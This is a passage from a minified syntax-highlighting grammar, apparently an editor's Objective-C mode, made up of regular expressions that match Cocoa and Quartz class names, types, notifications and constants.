ell|ttributedString|utoreleasePool|TSTypesetter|ppl(?:ication|e(?:Script|Event(?:Manager|Descriptor)))|ffineTransform|lert|r(?:chiver|ray(?:Controller)?))))(?:\\\\b)\"},{token:[\"support.type.cocoa.leopard\"],regex:\"(?:\\\\b)(NS(?:R(?:u(?:nLoop|ler(?:Marker|View))|e(?:sponder|cursiveLock|lativeSpecifier)|an(?:domSpecifier|geSpecifier))|G(?:etCommand|lyph(?:Generator|Storage|Info)|raphicsContext)|XML(?:Node|D(?:ocument|TD(?:Node)?)|Parser|Element)|M(?:iddleSpecifier|ov(?:ie(?:View)?|eCommand)|utable(?:S(?:tring|et)|C(?:haracterSet|opying)|IndexSet|D(?:ictionary|ata)|URLRequest|ParagraphStyle|A(?:ttributedString|rray))|e(?:ssagePort(?:NameServer)?|nu(?:Item(?:Cell)?|View)?|t(?:hodSignature|adata(?:Item|Query(?:ResultGroup|AttributeValueTuple)?)))|a(?:ch(?:BootstrapServer|Port)|trix))|B(?:itmapImageRep|ox|u(?:ndle|tton(?:Cell)?)|ezierPath|rowser(?:Cell)?)|S(?:hadow|c(?:anner|r(?:ipt(?:SuiteRegistry|C(?:o(?:ercionHandler|mmand(?:Description)?)|lassDescription)|ObjectSpecifier|ExecutionContext|WhoseTest)|oll(?:er|View)|een))|t(?:epper(?:Cell)?|atus(?:Bar|Item)|r(?:ing|eam))|imple(?:HorizontalTypesetter|CString)|o(?:cketPort(?:NameServer)?|und|rtDescriptor)|p(?:e(?:cifierTest|ech(?:Recognizer|Synthesizer)|ll(?:Server|Checker))|litView)|e(?:cureTextField(?:Cell)?|t(?:Command)?|archField(?:Cell)?|rializer|gmentedC(?:ontrol|ell))|lider(?:Cell)?|avePanel)|H(?:ost|TTP(?:Cookie(?:Storage)?|URLResponse)|elpManager)|N(?:ib(?:Con(?:nector|trolConnector)|OutletConnector)?|otification(?:Center|Queue)?|u(?:ll|mber(?:Formatter)?)|etService(?:Browser)?|ameSpecifier)|C(?:ha(?:ngeSpelling|racterSet)|o(?:n(?:stantString|nection|trol(?:ler)?|ditionLock)|d(?:ing|er)|unt(?:Command|edSet)|pying|lor(?:Space|P(?:ick(?:ing(?:Custom|Default)|er)|anel)|Well|List)?|m(?:p(?:oundPredicate|arisonPredicate)|boBox(?:Cell)?))|u(?:stomImageRep|rsor)|IImageRep|ell|l(?:ipView|o(?:seCommand|neCommand)|assDescription)|a(?:ched(?:ImageRep|URLResponse)|lendar(?:Date)?)|reateCommand)|T(?:hread|ypesetter|ime(?:Zone|r)|o(?:olbar(?:Item(?:Validations)?)?|kenField(?:Cell)?)|ext(?:Block|Storage|Container|Tab(?:le(?:Block)?)?|Input|View|Field(?:Cell)?|List|Attachment(?:Cell)?)?|a(?:sk|b(?:le(?:Header(?:Cell|View)|Column|View)|View(?:Item)?))|reeController)|I(?:n(?:dex(?:S(?:pecifier|et)|Path)|put(?:Manager|S(?:tream|erv(?:iceProvider|er(?:MouseTracker)?)))|vocation)|gnoreMisspelledWords|mage(?:Rep|Cell|View)?)|O(?:ut(?:putStream|lineView)|pen(?:GL(?:Context|Pixel(?:Buffer|Format)|View)|Panel)|bj(?:CTypeSerializationCallBack|ect(?:Controller)?))|D(?:i(?:st(?:antObject(?:Request)?|ributed(?:NotificationCenter|Lock))|ctionary|rectoryEnumerator)|ocument(?:Controller)?|e(?:serializer|cimalNumber(?:Behaviors|Handler)?|leteCommand)|at(?:e(?:Components|Picker(?:Cell)?|Formatter)?|a)|ra(?:wer|ggingInfo))|U(?:ser(?:InterfaceValidations|Defaults(?:Controller)?)|RL(?:Re(?:sponse|quest)|Handle(?:Client)?|C(?:onnection|ache|redential(?:Storage)?)|Download(?:Delegate)?|Prot(?:ocol(?:Client)?|ectionSpace)|AuthenticationChallenge(?:Sender)?)?|n(?:iqueIDSpecifier|doManager|archiver))|P(?:ipe|o(?:sitionalSpecifier|pUpButton(?:Cell)?|rt(?:Message|NameServer|Coder)?)|ICTImageRep|ersistentDocument|DFImageRep|a(?:steboard|nel|ragraphStyle|geLayout)|r(?:int(?:Info|er|Operation|Panel)|o(?:cessInfo|tocolChecker|perty(?:Specifier|ListSerialization)|gressIndicator|xy)|edicate))|E(?:numerator|vent|PSImageRep|rror|x(?:ception|istsCommand|pression))|V(?:iew(?:Animation)?|al(?:idated(?:ToobarItem|UserInterfaceItem)|ue(?:Transformer)?))|Keyed(?:Unarchiver|Archiver)|Qui(?:ckDrawView|tCommand)|F(?:ile(?:Manager|Handle|Wrapper)|o(?:nt(?:Manager|Descriptor|Panel)?|rm(?:Cell|atter)))|W(?:hoseSpecifier|indow(?:Controller)?|orkspace)|L(?:o(?:c(?:k(?:ing)?|ale)|gicalTest)|evelIndicator(?:Cell)?|ayoutManager)|A(?:ssertionHandler|nimation|ctionCell|ttributedString|utoreleasePool|TSTypesetter|ppl(?:ication|e(?:Script|Event(?:Manager|Descriptor)))|ffineTransform|lert|r(?:chiver|ray(?:Controller)?))))(?:\\\\b)\"},{token:[\"support.class.quartz\"],regex:\"(?:\\\\b)(C(?:I(?:Sampler|Co(?:ntext|lor)|Image(?:Accumulator)?|PlugIn(?:Registration)?|Vector|Kernel|Filter(?:Generator|Shape)?)|A(?:Renderer|MediaTiming(?:Function)?|BasicAnimation|ScrollLayer|Constraint(?:LayoutManager)?|T(?:iledLayer|extLayer|rans(?:ition|action))|OpenGLLayer|PropertyAnimation|KeyframeAnimation|Layer|A(?:nimation(?:Group)?|ction))))(?:\\\\b)\"},{token:[\"support.type.quartz\"],regex:\"(?:\\\\b)(C(?:G(?:Float|Point|Size|Rect)|IFormat|AConstraintAttribute))(?:\\\\b)\"},{token:[\"support.type.cocoa\"],regex:\"(?:\\\\b)(NS(?:R(?:ect(?:Edge)?|ange)|G(?:lyph(?:Relation|LayoutMode)?|radientType)|M(?:odalSession|a(?:trixMode|p(?:Table|Enumerator)))|B(?:itmapImageFileType|orderType|uttonType|ezelStyle|ackingStoreType|rowserColumnResizingType)|S(?:cr(?:oll(?:er(?:Part|Arrow)|ArrowPosition)|eenAuxiliaryOpaque)|tringEncoding|ize|ocketNativeHandle|election(?:Granularity|Direction|Affinity)|wapped(?:Double|Float)|aveOperationType)|Ha(?:sh(?:Table|Enumerator)|ndler(?:2)?)|C(?:o(?:ntrol(?:Size|Tint)|mp(?:ositingOperation|arisonResult))|ell(?:State|Type|ImagePosition|Attribute))|T(?:hreadPrivate|ypesetterGlyphInfo|i(?:ckMarkPosition|tlePosition|meInterval)|o(?:ol(?:TipTag|bar(?:SizeMode|DisplayMode))|kenStyle)|IFFCompression|ext(?:TabType|Alignment)|ab(?:State|leViewDropOperation|ViewType)|rackingRectTag)|ImageInterpolation|Zone|OpenGL(?:ContextAuxiliary|PixelFormatAuxiliary)|D(?:ocumentChangeType|atePickerElementFlags|ra(?:werState|gOperation))|UsableScrollerParts|P(?:oint|r(?:intingPageOrder|ogressIndicator(?:Style|Th(?:ickness|readInfo))))|EventType|KeyValueObservingOptions|Fo(?:nt(?:SymbolicTraits|TraitMask|Action)|cusRingType)|W(?:indow(?:OrderingMode|Depth)|orkspace(?:IconCreationOptions|LaunchOptions)|ritingDirection)|L(?:ineBreakMode|ayout(?:Status|Direction))|A(?:nimation(?:Progress|Effect)|ppl(?:ication(?:TerminateReply|DelegateReply|PrintReply)|eEventManagerSuspensionID)|ffineTransformStruct|lertStyle)))(?:\\\\b)\"},{token:[\"support.constant.cocoa\"],regex:\"(?:\\\\b)(NS(?:NotFound|Ordered(?:Ascending|Descending|Same)))(?:\\\\b)\"},{token:[\"support.constant.notification.cocoa.leopard\"],regex:\"(?:\\\\b)(NS(?:MenuDidBeginTracking|ViewDidUpdateTrackingAreas)?Notification)(?:\\\\b)\"},{token:[\"support.constant.notification.cocoa\"],regex:\"(?:\\\\b)(NS(?:Menu(?:Did(?:RemoveItem|SendAction|ChangeItem|EndTracking|AddItem)|WillSendAction)|S(?:ystemColorsDidChange|plitView(?:DidResizeSubviews|WillResizeSubviews))|C(?:o(?:nt(?:extHelpModeDid(?:Deactivate|Activate)|rolT(?:intDidChange|extDid(?:BeginEditing|Change|EndEditing)))|lor(?:PanelColorDidChange|ListDidChange)|mboBox(?:Selection(?:IsChanging|DidChange)|Will(?:Dismiss|PopUp)))|lassDescriptionNeededForClass)|T(?:oolbar(?:DidRemoveItem|WillAddItem)|ext(?:Storage(?:DidProcessEditing|WillProcessEditing)|Did(?:BeginEditing|Change|EndEditing)|View(?:DidChange(?:Selection|TypingAttributes)|WillChangeNotifyingTextView))|ableView(?:Selection(?:IsChanging|DidChange)|ColumnDid(?:Resize|Move)))|ImageRepRegistryDidChange|OutlineView(?:Selection(?:IsChanging|DidChange)|ColumnDid(?:Resize|Move)|Item(?:Did(?:Collapse|Expand)|Will(?:Collapse|Expand)))|Drawer(?:Did(?:Close|Open)|Will(?:Close|Open))|PopUpButton(?:CellWillPopUp|WillPopUp)|View(?:GlobalFrameDidChange|BoundsDidChange|F(?:ocusDidChange|rameDidChange))|FontSetChanged|W(?:indow(?:Did(?:Resi(?:ze|gn(?:Main|Key))|M(?:iniaturize|ove)|Become(?:Main|Key)|ChangeScreen(?:|Profile)|Deminiaturize|Update|E(?:ndSheet|xpose))|Will(?:M(?:iniaturize|ove)|BeginSheet|Close))|orkspace(?:SessionDid(?:ResignActive|BecomeActive)|Did(?:Mount|TerminateApplication|Unmount|PerformFileOperation|Wake|LaunchApplication)|Will(?:Sleep|Unmount|PowerOff|LaunchApplication)))|A(?:ntialiasThresholdChanged|ppl(?:ication(?:Did(?:ResignActive|BecomeActive|Hide|ChangeScreenParameters|U(?:nhide|pdate)|FinishLaunching)|Will(?:ResignActive|BecomeActive|Hide|Terminate|U(?:nhide|pdate)|FinishLaunching))|eEventManagerWillProcessFirstEvent)))Notification)(?:\\\\b)\"},{token:[\"support.constant.cocoa.leopard\"],regex:\"(?:\\\\b)(NS(?:RuleEditor(?:RowType(?:Simple|Compound)|NestingMode(?:Si(?:ngle|mple)|Compound|List))|GradientDraws(?:BeforeStartingLocation|AfterEndingLocation)|M(?:inusSetExpressionType|a(?:chPortDeallocate(?:ReceiveRight|SendRight|None)|pTable(?:StrongMemory|CopyIn|ZeroingWeakMemory|ObjectPointerPersonality)))|B(?:oxCustom|undleExecutableArchitecture(?:X86|I386|PPC(?:64)?)|etweenPredicateOperatorType|ackgroundStyle(?:Raised|Dark|L(?:ight|owered)))|S(?:tring(?:DrawingTruncatesLastVisibleLine|EncodingConversion(?:ExternalRepresentation|AllowLossy))|ubqueryExpressionType|p(?:e(?:ech(?:SentenceBoundary|ImmediateBoundary|WordBoundary)|llingState(?:GrammarFlag|SpellingFlag))|litViewDividerStyleThi(?:n|ck))|e(?:rvice(?:RequestTimedOutError|M(?:iscellaneousError|alformedServiceDictionaryError)|InvalidPasteboardDataError|ErrorM(?:inimum|aximum)|Application(?:NotFoundError|LaunchFailedError))|gmentStyle(?:Round(?:Rect|ed)|SmallSquare|Capsule|Textured(?:Rounded|Square)|Automatic)))|H(?:UDWindowMask|ashTable(?:StrongMemory|CopyIn|ZeroingWeakMemory|ObjectPointerPersonality))|N(?:oModeColorPanel|etServiceNoAutoRename)|C(?:hangeRedone|o(?:ntainsPredicateOperatorType|l(?:orRenderingIntent(?:RelativeColorimetric|Saturation|Default|Perceptual|AbsoluteColorimetric)|lectorDisabledOption))|ellHit(?:None|ContentArea|TrackableArea|EditableTextArea))|T(?:imeZoneNameStyle(?:S(?:hort(?:Standard|DaylightSaving)|tandard)|DaylightSaving)|extFieldDatePickerStyle|ableViewSelectionHighlightStyle(?:Regular|SourceList)|racking(?:Mouse(?:Moved|EnteredAndExited)|CursorUpdate|InVisibleRect|EnabledDuringMouseDrag|A(?:ssumeInside|ctive(?:In(?:KeyWindow|ActiveApp)|WhenFirstResponder|Always))))|I(?:n(?:tersectSetExpressionType|dexedColorSpaceModel)|mageScale(?:None|Proportionally(?:Down|UpOrDown)|AxesIndependently))|Ope(?:nGLPFAAllowOfflineRenderers|rationQueue(?:DefaultMaxConcurrentOperationCount|Priority(?:High|Normal|Very(?:High|Low)|Low)))|D(?:iacriticInsensitiveSearch|ownloadsDirectory)|U(?:nionSetExpressionType|TF(?:16(?:BigEndianStringEncoding|StringEncoding|LittleEndianStringEncoding)|32(?:BigEndianStringEncoding|StringEncoding|LittleEndianStringEncoding)))|P(?:ointerFunctions(?:Ma(?:chVirtualMemory|llocMemory)|Str(?:ongMemory|uctPersonality)|C(?:StringPersonality|opyIn)|IntegerPersonality|ZeroingWeakMemory|O(?:paque(?:Memory|Personality)|bjectP(?:ointerPersonality|ersonality)))|at(?:hStyle(?:Standard|NavigationBar|PopUp)|ternColorSpaceModel)|rintPanelShows(?:Scaling|Copies|Orientation|P(?:a(?:perSize|ge(?:Range|SetupAccessory))|review)))|Executable(?:RuntimeMismatchError|NotLoadableError|ErrorM(?:inimum|aximum)|L(?:inkError|oadError)|ArchitectureMismatchError)|KeyValueObservingOption(?:Initial|Prior)|F(?:i(?:ndPanelSubstringMatchType(?:StartsWith|Contains|EndsWith|FullWord)|leRead(?:TooLargeError|UnknownStringEncodingError))|orcedOrderingSearch)|Wi(?:ndow(?:BackingLocation(?:MainMemory|Default|VideoMemory)|Sharing(?:Read(?:Only|Write)|None)|CollectionBehavior(?:MoveToActiveSpace|CanJoinAllSpaces|Default))|dthInsensitiveSearch)|AggregateExpressionType))(?:\\\\b)\"},{token:[\"support.constant.cocoa\"],regex:\"(?:\\\\b)(NS(?:R(?:GB(?:ModeColorPanel|ColorSpaceModel)|ight(?:Mouse(?:D(?:own(?:Mask)?|ragged(?:Mask)?)|Up(?:Mask)?)|T(?:ext(?:Movement|Alignment)|ab(?:sBezelBorder|StopType))|ArrowFunctionKey)|ound(?:RectBezelStyle|Bankers|ed(?:BezelStyle|TokenStyle|DisclosureBezelStyle)|Down|Up|Plain|Line(?:CapStyle|JoinStyle))|un(?:StoppedResponse|ContinuesResponse|AbortedResponse)|e(?:s(?:izableWindowMask|et(?:CursorRectsRunLoopOrdering|FunctionKey))|ce(?:ssedBezelStyle|iver(?:sCantHandleCommandScriptError|EvaluationScriptError))|turnTextMovement|doFunctionKey|quiredArgumentsMissingScriptError|l(?:evancyLevelIndicatorStyle|ative(?:Before|After))|gular(?:SquareBezelStyle|ControlSize)|moveTraitFontAction)|a(?:n(?:domSubelement|geDateMode)|tingLevelIndicatorStyle|dio(?:ModeMatrix|Button)))|G(?:IFFileType|lyph(?:Below|Inscribe(?:B(?:elow|ase)|Over(?:strike|Below)|Above)|Layout(?:WithPrevious|A(?:tAPoint|gainstAPoint))|A(?:ttribute(?:BidiLevel|Soft|Inscribe|Elastic)|bove))|r(?:ooveBorder|eaterThan(?:Comparison|OrEqualTo(?:Comparison|PredicateOperatorType)|PredicateOperatorType)|a(?:y(?:ModeColorPanel|ColorSpaceModel)|dient(?:None|Con(?:cave(?:Strong|Weak)|vex(?:Strong|Weak)))|phiteControlTint)))|XML(?:N(?:o(?:tationDeclarationKind|de(?:CompactEmptyElement|IsCDATA|OptionsNone|Use(?:SingleQuotes|DoubleQuotes)|Pre(?:serve(?:NamespaceOrder|C(?:haracterReferences|DATA)|DTD|Prefixes|E(?:ntities|mptyElements)|Quotes|Whitespace|A(?:ttributeOrder|ll))|ttyPrint)|ExpandEmptyElement))|amespaceKind)|CommentKind|TextKind|InvalidKind|D(?:ocument(?:X(?:MLKind|HTMLKind|Include)|HTMLKind|T(?:idy(?:XML|HTML)|extKind)|IncludeContentTypeDeclaration|Validate|Kind)|TDKind)|P(?:arser(?:GTRequiredError|XMLDeclNot(?:StartedError|FinishedError)|Mi(?:splaced(?:XMLDeclarationError|CDATAEndStringError)|xedContentDeclNot(?:StartedError|FinishedError))|S(?:t(?:andaloneValueError|ringNot(?:StartedError|ClosedError))|paceRequiredError|eparatorRequiredError)|N(?:MTOKENRequiredError|o(?:t(?:ationNot(?:StartedError|FinishedError)|WellBalancedError)|DTDError)|amespaceDeclarationError|AMERequiredError)|C(?:haracterRef(?:In(?:DTDError|PrologError|EpilogError)|AtEOFError)|o(?:nditionalSectionNot(?:StartedError|FinishedError)|mment(?:NotFinishedError|ContainsDoubleHyphenError))|DATANotFinishedError)|TagNameMismatchError|In(?:ternalError|valid(?:HexCharacterRefError|C(?:haracter(?:RefError|InEntityError|Error)|onditionalSectionError)|DecimalCharacterRefError|URIError|Encoding(?:NameError|Error)))|OutOfMemoryError|D(?:ocumentStartError|elegateAbortedParseError|OCTYPEDeclNotFinishedError)|U(?:RI(?:RequiredError|FragmentError)|n(?:declaredEntityError|parsedEntityError|knownEncodingError|finishedTagError))|P(?:CDATARequiredError|ublicIdentifierRequiredError|arsedEntityRef(?:MissingSemiError|NoNameError|In(?:Internal(?:SubsetError|Error)|PrologError|EpilogError)|AtEOFError)|r(?:ocessingInstructionNot(?:StartedError|FinishedError)|ematureDocumentEndError))|E(?:n(?:codingNotSupportedError|tity(?:Ref(?:In(?:DTDError|PrologError|EpilogError)|erence(?:MissingSemiError|WithoutNameError)|LoopError|AtEOFError)|BoundaryError|Not(?:StartedError|FinishedError)|Is(?:ParameterError|ExternalError)|ValueRequiredError))|qualExpectedError|lementContentDeclNot(?:StartedError|FinishedError)|xt(?:ernalS(?:tandaloneEntityError|ubsetNotFinishedError)|raContentError)|mptyDocumentError)|L(?:iteralNot(?:StartedError|FinishedError)|T(?:RequiredError|SlashRequiredError)|essThanSymbolInAttributeError)|Attribute(?:RedefinedError|HasNoValueError|Not(?:StartedError|FinishedError)|ListNot(?:StartedError|FinishedError)))|rocessingInstructionKind)|E(?:ntity(?:GeneralKind|DeclarationKind|UnparsedKind|P(?:ar(?:sedKind|ameterKind)|redefined))|lement(?:Declaration(?:MixedKind|UndefinedKind|E(?:lementKind|mptyKind)|Kind|AnyKind)|Kind))|Attribute(?:N(?:MToken(?:sKind|Kind)|otationKind)|CDATAKind|ID(?:Ref(?:sKind|Kind)|Kind)|DeclarationKind|En(?:tit(?:yKind|iesKind)|umerationKind)|Kind))|M(?:i(?:n(?:XEdge|iaturizableWindowMask|YEdge|uteCalendarUnit)|terLineJoinStyle|ddleSubelement|xedState)|o(?:nthCalendarUnit|deSwitchFunctionKey|use(?:Moved(?:Mask)?|E(?:ntered(?:Mask)?|ventSubtype|xited(?:Mask)?))|veToBezierPathElement|mentary(?:ChangeButton|Push(?:Button|InButton)|Light(?:Button)?))|enuFunctionKey|a(?:c(?:intoshInterfaceStyle|OSRomanStringEncoding)|tchesPredicateOperatorType|ppedRead|x(?:XEdge|YEdge))|ACHOperatingSystem)|B(?:MPFileType|o(?:ttomTabsBezelBorder|ldFontMask|rderlessWindowMask|x(?:Se(?:condary|parator)|OldStyle|Primary))|uttLineCapStyle|e(?:zelBorder|velLineJoinStyle|low(?:Bottom|Top)|gin(?:sWith(?:Comparison|PredicateOperatorType)|FunctionKey))|lueControlTint|ack(?:spaceCharacter|tabTextMovement|ingStore(?:Retained|Buffered|Nonretained)|TabCharacter|wardsSearch|groundTab)|r(?:owser(?:NoColumnResizing|UserColumnResizing|AutoColumnResizing)|eakFunctionKey))|S(?:h(?:ift(?:JISStringEncoding|KeyMask)|ow(?:ControlGlyphs|InvisibleGlyphs)|adowlessSquareBezelStyle)|y(?:s(?:ReqFunctionKey|tem(?:D(?:omainMask|efined(?:Mask)?)|FunctionKey))|mbolStringEncoding)|c(?:a(?:nnedOption|le(?:None|ToFit|Proportionally))|r(?:oll(?:er(?:NoPart|Increment(?:Page|Line|Arrow)|Decrement(?:Page|Line|Arrow)|Knob(?:Slot)?|Arrows(?:M(?:inEnd|axEnd)|None|DefaultSetting))|Wheel(?:Mask)?|LockFunctionKey)|eenChangedEventType))|t(?:opFunctionKey|r(?:ingDrawing(?:OneShot|DisableScreenFontSubstitution|Uses(?:DeviceMetrics|FontLeading|LineFragmentOrigin))|eam(?:Status(?:Reading|NotOpen|Closed|Open(?:ing)?|Error|Writing|AtEnd)|Event(?:Has(?:BytesAvailable|SpaceAvailable)|None|OpenCompleted|E(?:ndEncountered|rrorOccurred)))))|i(?:ngle(?:DateMode|UnderlineStyle)|ze(?:DownFontAction|UpFontAction))|olarisOperatingSystem|unOSOperatingSystem|pecialPageOrder|e(?:condCalendarUnit|lect(?:By(?:Character|Paragraph|Word)|i(?:ng(?:Next|Previous)|onAffinity(?:Downstream|Upstream))|edTab|FunctionKey)|gmentSwitchTracking(?:Momentary|Select(?:One|Any)))|quareLineCapStyle|witchButton|ave(?:ToOperation|Op(?:tions(?:Yes|No|Ask)|eration)|AsOperation)|mall(?:SquareBezelStyle|C(?:ontrolSize|apsFontMask)|IconButtonBezelStyle))|H(?:ighlightModeMatrix|SBModeColorPanel|o(?:ur(?:Minute(?:SecondDatePickerElementFlag|DatePickerElementFlag)|CalendarUnit)|rizontalRuler|meFunctionKey)|TTPCookieAcceptPolicy(?:Never|OnlyFromMainDocumentDomain|Always)|e(?:lp(?:ButtonBezelStyle|KeyMask|FunctionKey)|avierFontAction)|PUXOperatingSystem)|Year(?:MonthDa(?:yDatePickerElementFlag|tePickerElementFlag)|CalendarUnit)|N(?:o(?:n(?:StandardCharacterSetFontMask|ZeroWindingRule|activatingPanelMask|LossyASCIIStringEncoding)|Border|t(?:ification(?:SuspensionBehavior(?:Hold|Coalesce|D(?:eliverImmediately|rop))|NoCoalescing|CoalescingOn(?:Sender|Name)|DeliverImmediately|PostToAllSessions)|PredicateType|EqualToPredicateOperatorType)|S(?:cr(?:iptError|ollerParts)|ubelement|pecifierError)|CellMask|T(?:itle|opLevelContainersSpecifierError|abs(?:BezelBorder|NoBorder|LineBorder))|I(?:nterfaceStyle|mage)|UnderlineStyle|FontChangeAction)|u(?:ll(?:Glyph|CellType)|m(?:eric(?:Search|PadKeyMask)|berFormatter(?:Round(?:Half(?:Down|Up|Even)|Ceiling|Down|Up|Floor)|Behavior(?:10|Default)|S(?:cientificStyle|pellOutStyle)|NoStyle|CurrencyStyle|DecimalStyle|P(?:ercentStyle|ad(?:Before(?:Suffix|Prefix)|After(?:Suffix|Prefix))))))|e(?:t(?:Services(?:BadArgumentError|NotFoundError|C(?:ollisionError|ancelledError)|TimeoutError|InvalidError|UnknownError|ActivityInProgress)|workDomainMask)|wlineCharacter|xt(?:StepInterfaceStyle|FunctionKey))|EXTSTEPStringEncoding|a(?:t(?:iveShortGlyphPacking|uralTextAlignment)|rrowFontMask))|C(?:hange(?:ReadOtherContents|GrayCell(?:Mask)?|BackgroundCell(?:Mask)?|Cleared|Done|Undone|Autosaved)|MYK(?:ModeColorPanel|ColorSpaceModel)|ircular(?:BezelStyle|Slider)|o(?:n(?:stantValueExpressionType|t(?:inuousCapacityLevelIndicatorStyle|entsCellMask|ain(?:sComparison|erSpecifierError)|rol(?:Glyph|KeyMask))|densedFontMask)|lor(?:Panel(?:RGBModeMask|GrayModeMask|HSBModeMask|C(?:MYKModeMask|olorListModeMask|ustomPaletteModeMask|rayonModeMask)|WheelModeMask|AllModesMask)|ListModeColorPanel)|reServiceDirectory|m(?:p(?:osite(?:XOR|Source(?:In|O(?:ut|ver)|Atop)|Highlight|C(?:opy|lear)|Destination(?:In|O(?:ut|ver)|Atop)|Plus(?:Darker|Lighter))|ressedFontMask)|mandKeyMask))|u(?:stom(?:SelectorPredicateOperatorType|PaletteModeColorPanel)|r(?:sor(?:Update(?:Mask)?|PointingDevice)|veToBezierPathElement))|e(?:nterT(?:extAlignment|abStopType)|ll(?:State|H(?:ighlighted|as(?:Image(?:Horizontal|OnLeftOrBottom)|OverlappingImage))|ChangesContents|Is(?:Bordered|InsetButton)|Disabled|Editable|LightsBy(?:Gray|Background|Contents)|AllowsMixedState))|l(?:ipPagination|o(?:s(?:ePathBezierPathElement|ableWindowMask)|ckAndCalendarDatePickerStyle)|ear(?:ControlTint|DisplayFunctionKey|LineFunctionKey))|a(?:seInsensitive(?:Search|PredicateOption)|n(?:notCreateScriptCommandError|cel(?:Button|TextMovement))|chesDirectory|lculation(?:NoError|Overflow|DivideByZero|Underflow|LossOfPrecision)|rriageReturnCharacter)|r(?:itical(?:Request|AlertStyle)|ayonModeColorPanel))|T(?:hick(?:SquareBezelStyle|erSquareBezelStyle)|ypesetter(?:Behavior|HorizontalTabAction|ContainerBreakAction|ZeroAdvancementAction|OriginalBehavior|ParagraphBreakAction|WhitespaceAction|L(?:ineBreakAction|atestBehavior))|i(?:ckMark(?:Right|Below|Left|Above)|tledWindowMask|meZoneDatePickerElementFlag)|o(?:olbarItemVisibilityPriority(?:Standard|High|User|Low)|pTabsBezelBorder|ggleButton)|IFF(?:Compression(?:N(?:one|EXT)|CCITTFAX(?:3|4)|OldJPEG|JPEG|PackBits|LZW)|FileType)|e(?:rminate(?:Now|Cancel|Later)|xt(?:Read(?:InapplicableDocumentTypeError|WriteErrorM(?:inimum|aximum))|Block(?:M(?:i(?:nimum(?:Height|Width)|ddleAlignment)|a(?:rgin|ximum(?:Height|Width)))|B(?:o(?:ttomAlignment|rder)|aselineAlignment)|Height|TopAlignment|P(?:ercentageValueType|adding)|Width|AbsoluteValueType)|StorageEdited(?:Characters|Attributes)|CellType|ured(?:RoundedBezelStyle|BackgroundWindowMask|SquareBezelStyle)|Table(?:FixedLayoutAlgorithm|AutomaticLayoutAlgorithm)|Field(?:RoundedBezel|SquareBezel|AndStepperDatePickerStyle)|WriteInapplicableDocumentTypeError|ListPrependEnclosingMarker))|woByteGlyphPacking|ab(?:Character|TextMovement|le(?:tP(?:oint(?:Mask|EventSubtype)?|roximity(?:Mask|EventSubtype)?)|Column(?:NoResizing|UserResizingMask|AutoresizingMask)|View(?:ReverseSequentialColumnAutoresizingStyle|GridNone|S(?:olid(?:HorizontalGridLineMask|VerticalGridLineMask)|equentialColumnAutoresizingStyle)|NoColumnAutoresizing|UniformColumnAutoresizingStyle|FirstColumnOnlyAutoresizingStyle|LastColumnOnlyAutoresizingStyle)))|rackModeMatrix)|I(?:n(?:sert(?:CharFunctionKey|FunctionKey|LineFunctionKey)|t(?:Type|ernalS(?:criptError|pecifierError))|dexSubelement|validIndexSpecifierError|formational(?:Request|AlertStyle)|PredicateOperatorType)|talicFontMask|SO(?:2022JPStringEncoding|Latin(?:1StringEncoding|2StringEncoding))|dentityMappingCharacterCollection|llegalTextMovement|mage(?:R(?:ight|ep(?:MatchesDevice|LoadStatus(?:ReadingHeader|Completed|InvalidData|Un(?:expectedEOF|knownType)|WillNeedAllData)))|Below|C(?:ellType|ache(?:BySize|Never|Default|Always))|Interpolation(?:High|None|Default|Low)|O(?:nly|verlaps)|Frame(?:Gr(?:oove|ayBezel)|Button|None|Photo)|L(?:oadStatus(?:ReadError|C(?:ompleted|ancelled)|InvalidData|UnexpectedEOF)|eft)|A(?:lign(?:Right|Bottom(?:Right|Left)?|Center|Top(?:Right|Left)?|Left)|bove)))|O(?:n(?:State|eByteGlyphPacking|OffButton|lyScrollerArrows)|ther(?:Mouse(?:D(?:own(?:Mask)?|ragged(?:Mask)?)|Up(?:Mask)?)|TextMovement)|SF1OperatingSystem|pe(?:n(?:GL(?:GO(?:Re(?:setLibrary|tainRenderers)|ClearFormatCache|FormatCacheSize)|PFA(?:R(?:obust|endererID)|M(?:inimumPolicy|ulti(?:sample|Screen)|PSafe|aximumPolicy)|BackingStore|S(?:creenMask|te(?:ncilSize|reo)|ingleRenderer|upersample|ample(?:s|Buffers|Alpha))|NoRecovery|C(?:o(?:lor(?:Size|Float)|mpliant)|losestPolicy)|OffScreen|D(?:oubleBuffer|epthSize)|PixelBuffer|VirtualScreenCount|FullScreen|Window|A(?:cc(?:umSize|elerated)|ux(?:Buffers|DepthStencil)|l(?:phaSize|lRenderers))))|StepUnicodeReservedBase)|rationNotSupportedForKeyS(?:criptError|pecifierError))|ffState|KButton|rPredicateType|bjC(?:B(?:itfield|oolType)|S(?:hortType|tr(?:ingType|uctType)|electorType)|NoType|CharType|ObjectType|DoubleType|UnionType|PointerType|VoidType|FloatType|Long(?:Type|longType)|ArrayType))|D(?:i(?:s(?:c(?:losureBezelStyle|reteCapacityLevelIndicatorStyle)|playWindowRunLoopOrdering)|acriticInsensitivePredicateOption|rect(?:Selection|PredicateModifier))|o(?:c(?:ModalWindowMask|ument(?:Directory|ationDirectory))|ubleType|wn(?:TextMovement|ArrowFunctionKey))|e(?:s(?:cendingPageOrder|ktopDirectory)|cimalTabStopType|v(?:ice(?:NColorSpaceModel|IndependentModifierFlagsMask)|eloper(?:Directory|ApplicationDirectory))|fault(?:ControlTint|TokenStyle)|lete(?:Char(?:acter|FunctionKey)|FunctionKey|LineFunctionKey)|moApplicationDirectory)|a(?:yCalendarUnit|teFormatter(?:MediumStyle|Behavior(?:10|Default)|ShortStyle|NoStyle|FullStyle|LongStyle))|ra(?:wer(?:Clos(?:ingState|edState)|Open(?:ingState|State))|gOperation(?:Generic|Move|None|Copy|Delete|Private|Every|Link|All)))|U(?:ser(?:CancelledError|D(?:irectory|omainMask)|FunctionKey)|RL(?:Handle(?:NotLoaded|Load(?:Succeeded|InProgress|Failed))|CredentialPersistence(?:None|Permanent|ForSession))|n(?:scaledWindowMask|cachedRead|i(?:codeStringEncoding|talicFontMask|fiedTitleAndToolbarWindowMask)|d(?:o(?:CloseGroupingRunLoopOrdering|FunctionKey)|e(?:finedDateComponent|rline(?:Style(?:Single|None|Thick|Double)|Pattern(?:Solid|D(?:ot|ash(?:Dot(?:Dot)?)?)))))|known(?:ColorSpaceModel|P(?:ointingDevice|ageOrder)|KeyS(?:criptError|pecifierError))|boldFontMask)|tilityWindowMask|TF8StringEncoding|p(?:dateWindowsRunLoopOrdering|TextMovement|ArrowFunctionKey))|J(?:ustifiedTextAlignment|PEG(?:2000FileType|FileType)|apaneseEUC(?:GlyphP